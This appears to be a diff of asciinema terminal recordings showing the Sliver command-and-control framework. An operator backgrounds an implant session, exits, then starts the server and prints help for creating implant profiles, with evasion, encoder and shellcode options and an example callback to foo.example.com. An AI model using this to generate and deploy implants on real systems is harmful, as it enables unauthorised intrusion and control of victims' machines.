[53.148545, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.149522, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[53.277628, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.287967, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[53.328989, "o", "\u001b[?25l\u001b[107D"]
|
||||
[53.329901, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.332245, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[53.333298, "o", "\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[53.387784, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[53.388886, "o", "\u001b[6n"]
|
||||
[53.390433, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[53.390674, "o", "\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[53.446915, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.449749, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
|
||||
[53.491784, "o", "\u001b[?25l\u001b[107D"]
|
||||
[53.492463, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.495225, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[53.495792, "o", "\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[53.550209, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[53.554691, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[53.554816, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[53.729192, "o", "\u001b[41D\u001b[31C\u001b[6n"]
|
||||
[53.741159, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[53.769632, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
|
||||
[53.780366, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[53.780801, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[53.782338, "o", "\u001b[6n"]
|
||||
[53.784762, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C"]
|
||||
[53.785937, "o", "\u001b[?25h"]
|
||||
[54.215505, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[54.216141, "o", "\u001b[6n"]
|
||||
[54.21991, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[54.2212, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[54.379919, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[54.380426, "o", "\u001b[6n"]
|
||||
[54.390339, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[54.538062, "o", "\u001b[?25l"]
|
||||
[54.539033, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[54.542374, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[54.633954, "o", "\u001b[?25l\u001b[107D"]
|
||||
[54.635551, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[54.639696, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C"]
|
||||
[54.639828, "o", "\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[55.085057, "o", "\u001b[13D\u001b[9C"]
|
||||
[55.085829, "o", "\u001b[6n"]
|
||||
[55.098144, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n\u001b[0 q"]
|
||||
[55.098526, "o", "\r\n"]
|
||||
[55.123226, "o", "Exiting...\r\n"]
|
||||
[55.14691, "o", "\u001b[?2004h"]
|
||||
[55.147476, "o", "root@98df0494f659:~# "]
|
||||
[56.321891, "o", "^C"]
|
||||
[56.324025, "o", "\u001b[?2004l\r\u001b[?2004h"]
|
||||
[56.331126, "o", "\u001b[?2004l\r\r\n\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[56.76656, "o", "\u001b[?2004l\r\r\n"]
|
||||
[56.767344, "o", "exit\r\n"]
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,865 @@
|
||||
{"version": 2, "width": 214, "height": 53, "timestamp": 1714671110, "env": {"SHELL": null, "TERM": "xterm"}}
|
||||
[0.0365, "o", "# "]
|
||||
[2.300466, "o", "."]
|
||||
[2.380231, "o", "/"]
|
||||
[2.543769, "o", "s"]
|
||||
[2.664655, "o", "l"]
|
||||
[2.710474, "o", "i"]
|
||||
[2.784952, "o", "v"]
|
||||
[2.940238, "o", "e"]
|
||||
[3.054768, "o", "r"]
|
||||
[3.143601, "o", "-"]
|
||||
[3.346318, "o", "s"]
|
||||
[3.381649, "o", "e"]
|
||||
[3.429149, "o", "r"]
|
||||
[3.639049, "o", "v"]
|
||||
[3.753495, "o", "e"]
|
||||
[3.844406, "o", "r"]
|
||||
[3.958467, "o", "\r\n"]
|
||||
[5.236741, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain dethrone\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m"]
|
||||
[5.237725, "o", "\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[5.241125, "o", "\r\n"]
|
||||
[5.266567, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.269346, "o", "\u001b[1 q"]
|
||||
[5.271167, "o", "\u001b[?25l"]
|
||||
[5.271738, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.2723, "o", "\u001b[6n"]
|
||||
[5.275121, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[5.275246, "o", "\r\r\n"]
|
||||
[5.275574, "o", "\u001b[0K"]
|
||||
[5.276699, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[6.788234, "o", "\u001b[?25l\u001b[214D"]
|
||||
[6.790111, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.80734, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.808757, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[6.864007, "o", "\u001b[?25l\u001b[214D"]
|
||||
[6.866175, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.879664, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[6.880395, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[6.964547, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.974473, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[7.084477, "o", "\u001b[?25l\u001b[214D"]
|
||||
[7.088105, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.10679, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.108605, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[7.135656, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.137017, "o", "\u001b[6n"]
|
||||
[7.140486, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C"]
|
||||
[7.141666, "o", "\u001b[?25h"]
|
||||
[7.218402, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.231162, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[7.253952, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.254678, "o", "\u001b[6n"]
|
||||
[7.2585, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.258616, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[7.31814, "o", "\u001b[?25l"]
|
||||
[7.319311, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.323417, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D"]
|
||||
[7.323716, "o", "\u001b[17C\u001b[?25h"]
|
||||
[7.451357, "o", "\u001b[?25l"]
|
||||
[7.46114, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.479007, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[10.141048, "o", "\u001b[?25l"]
|
||||
[10.142557, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[10.144411, "o", "\u001b[6n"]
|
||||
[10.171025, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.173669, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
|
||||
[10.381466, "o", "\u001b[?25l"]
|
||||
[10.390374, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[10.397032, "o", "\u001b[6n"]
|
||||
[10.422451, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[10.42505, "o", "\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
|
||||
[10.538693, "o", "\u001b[20D\u001b[9C"]
|
||||
[10.546145, "o", "\u001b[6n"]
|
||||
[10.563405, "o", "\u001b[214D\u001b[20C\u001b[0J"]
|
||||
[10.564509, "o", "\u001b[214D\r\r\n"]
|
||||
[10.56801, "o", "\u001b[0 q"]
|
||||
[10.569272, "o", "\r\n"]
|
||||
[10.58611, "o", "List existing profiles\r\n\r\n"]
|
||||
[10.596051, "o", "Usage:\r\n profiles [flags]\r\n profiles [command]\r\n\r\nAvailable Commands:\r\n generate Generate implant from a profile\r\n info Details about a profile\r\n new Create a new implant profile (interactive session)\r\n rm Remove a profile\r\n stage Generate implant from a profile and encode or encrypt it\r\n\r\nFlags:\r\n -h, --help help for profiles\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles [command] --help\" for more information about a command.\r\n"]
|
||||
[10.597101, "o", "\r\n"]
|
||||
[10.60964, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[10.609799, "o", "\u001b[1 q\u001b[?25l\u001b[214D"]
|
||||
[10.609842, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.613317, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[11.040535, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.066449, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.06745, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[11.152457, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.162655, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[11.244167, "o", "\u001b[?25l\u001b[214D"]
|
||||
[11.254302, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.271271, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.272278, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[11.370374, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.386569, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.389331, "o", "\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[11.438756, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[11.439512, "o", "\u001b[6n"]
|
||||
[11.443634, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.444767, "o", "\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[11.503298, "o", "\u001b[?25l"]
|
||||
[11.504461, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.516437, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[11.517279, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[11.585175, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.596624, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[11.597432, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[11.608683, "o", "\u001b[?25l\u001b[214D"]
|
||||
[11.609612, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.621584, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.622411, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[11.743096, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.756295, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[12.619447, "o", "\u001b[?25l\u001b[214D"]
|
||||
[12.620109, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.632128, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mn\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.633364, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
|
||||
[12.741768, "o", "\u001b[?25l"]
|
||||
[12.744192, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.764267, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mne\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[12.765676, "o", "\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
|
||||
[12.80038, "o", "\u001b[?25l"]
|
||||
[12.801503, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.804488, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[12.80556, "o", "\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
|
||||
[12.88558, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.890427, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C"]
|
||||
[12.891981, "o", "\u001b[214D\u001b[22C\u001b[?25h"]
|
||||
[13.753303, "o", "\u001b[?25l"]
|
||||
[13.766002, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.803622, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.806077, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
|
||||
[13.98862, "o", "\u001b[?25l"]
|
||||
[13.999511, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.015394, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[14.015849, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
|
||||
[14.167148, "o", "\u001b[24D\u001b[9C\u001b[6n"]
|
||||
[14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[14.182566, "o", "\u001b[0 q\r\n"]
|
||||
[14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
|
||||
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
|
||||
[14.200627, "o", " http(s) connection strings\r\n -X, --key-exchange uint32 wg key-exchange port (default 1337)\r\n -w, --limit-datetime string limit execution to before datetime\r\n -x, --limit-domainjoined limit execution to domain joined machines\r\n -F, --limit-fileexists string limit execution to hosts with this file in the filesystem\r\n -z, --limit-hostname string limit execution to specified hostname\r\n -L, --limit-locale string limit execution to hosts that match this locale\r\n -y, --limit-username string limit execution to specified username\r\n -k, --max-errors uint32 max number of connection errors (default 1000)\r\n -m, --mtls string mtls connection strings\r\n -N, --name string agent name\r\n -p, --named-pipe string named-pipe connection strings\r\n -q, --netgo force the use of netgo\r\n -o, --os string operating system (default \"windows\")\r\n -P, --poll-timeout int long poll request timeout (d"]
|
||||
[14.201749, "o", "efault 360)\r\n -j, --reconnect int attempt to reconnect every n second(s) (default 60)\r\n -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)\r\n -s, --save string directory/file to the binary to\r\n -l, --skip-symbols skip symbol obfuscation\r\n -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n -T, --tcp-comms uint32 wg c2 comms port (default 8888)\r\n -i, --tcp-pivot string tcp-pivot connection strings\r\n -I, --template string implant code template (default \"sliver\")\r\n -A, --traffic-encoders string comma separated list of traffic encoders to enable\r\n -g, --wg string wg connection strings\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
|
||||
[14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[14.213731, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.217195, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[14.7974, "o", "\u001b[?25l"]
|
||||
[14.808382, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.844688, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[14.968124, "o", "\u001b[?25l"]
|
||||
[14.970056, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[14.996105, "o", "pr\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[14.998331, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[15.11977, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.120703, "o", "\u001b[6n"]
|
||||
[15.133237, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[15.26931, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[15.281024, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[15.281812, "o", "\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[15.359607, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[15.370163, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D"]
|
||||
[15.371212, "o", "\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[15.429744, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[15.435967, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[15.436611, "o", "\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[15.465796, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.467731, "o", "\u001b[6n"]
|
||||
[15.471173, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D"]
|
||||
[15.472014, "o", "\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[15.501393, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.502444, "o", "\u001b[6n"]
|
||||
[15.505604, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C"]
|
||||
[15.505705, "o", "\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[15.616395, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[15.635045, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[15.636094, "o", "\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[15.900778, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
